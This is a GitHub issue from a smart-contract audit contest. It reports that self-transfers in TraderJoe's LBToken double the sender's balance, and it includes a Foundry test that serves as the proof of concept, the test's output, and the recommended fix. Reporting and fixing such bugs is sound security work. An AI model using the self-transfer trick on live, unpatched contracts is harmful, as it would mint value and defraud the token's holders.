Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Selftransfer increases balance by sent amount. #496

Closed
itsmetechjay opened this issue Oct 24, 2022 · 6 comments
Closed

Selftransfer increases balance by sent amount. #496

itsmetechjay opened this issue Oct 24, 2022 · 6 comments
Labels
3 (High Risk) Assets can be stolen/lost/compromised directly bug Something isn't working duplicate-299 satisfactory satisfies C4 submission criteria; eligible for awards

Comments

@itsmetechjay
Copy link
Contributor

Link to code

https://github.com/code-423n4/2022-10-traderjoe/blob/79f25d48b907f9d0379dd803fc2abc9c5f57db93/src/LBToken.sol#L176::L196

Impact

When a malicious user decides to send LBTokens to their own address they will increase their own balance by the sent amount.
Vulnerable function _transfer is reachable via the public functions safeBatchTransferFrom and safeTransferFrom.

L187 effectively saves _toBalance before _fromBalance is adjusted.
If _from == _to attackers can effectively double their balance.
The step can be endlessly repeated and leads to complete loss of value of whatever the LBToken represents.

Proof of concept

See recommended mitigation.

Recommended Mitigation Steps

Ensure that _from != _to in _transfer function.
Add below code to test/LBToken.t.sol in order to catch regressions once the bug is fixed (test also works as proof of concept).

Code

function testSafeTransferFromToSelf() public {
    uint256 amountIn = 1e18;
    (uint256[] memory _ids, , , ) = addLiquidity(amountIn, ID_ONE, 5, 0);

    uint balance_amount_pre = pair.balanceOf(DEV, _ids[0]);
    pair.safeTransferFrom(DEV, DEV, _ids[0], balance_amount_pre);
    uint balance_amount_pos = pair.balanceOf(DEV, _ids[0]);

    if (balance_amount_pre != balance_amount_pos) {
        emit log_named_string("FAIL", "transfer to self increases balance");
        emit log_named_uint("balance before transfer", balance_amount_pre);
        emit log_named_uint("balance after  transfer", balance_amount_pos);
        emit log_named_uint("balance        increase", balance_amount_pos-balance_amount_pre);
    }

    assertEq(balance_amount_pos, balance_amount_pre);
}

Output

Running 1 test for test/LBToken.t.sol:LiquidityBinTokenTest
[FAIL. Reason: Undefined.] testSafeTransferFromToSelf() (gas: 1015343)
Logs:
  FAIL: transfer to self increases balance
  balance before transfer: 333333333333333333
  balance after  transfer: 666666666666666666
....
@itsmetechjay itsmetechjay added bug Something isn't working 3 (High Risk) Assets can be stolen/lost/compromised directly labels Oct 24, 2022
@itsmetechjay
Copy link
Contributor Author

itsmetechjay commented Oct 24, 2022

Warden submitted issue via email to sockdrawermoney prior to contest close due to login issues over the weekend

@Shungy
Copy link

Shungy commented Oct 25, 2022

Duplicate: #266

@GalloDaSballo
Copy link
Collaborator

Dup of #299

@GalloDaSballo GalloDaSballo added the duplicate This issue or pull request already exists label Oct 26, 2022
@c4-judge
Copy link
Contributor

GalloDaSballo marked the issue as not a duplicate

@c4-judge c4-judge reopened this Nov 23, 2022
@c4-judge c4-judge removed the duplicate This issue or pull request already exists label Nov 23, 2022
@c4-judge
Copy link
Contributor

GalloDaSballo marked the issue as duplicate of #299

@Simon-Busch Simon-Busch added the satisfactory satisfies C4 submission criteria; eligible for awards label Dec 5, 2022
@Simon-Busch
Copy link
Contributor

Marked this issue as Satisfactory as requested by @GalloDaSballo

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
3 (High Risk) Assets can be stolen/lost/compromised directly bug Something isn't working duplicate-299 satisfactory satisfies C4 submission criteria; eligible for awards
Projects
None yet
Development

No branches or pull requests

5 participants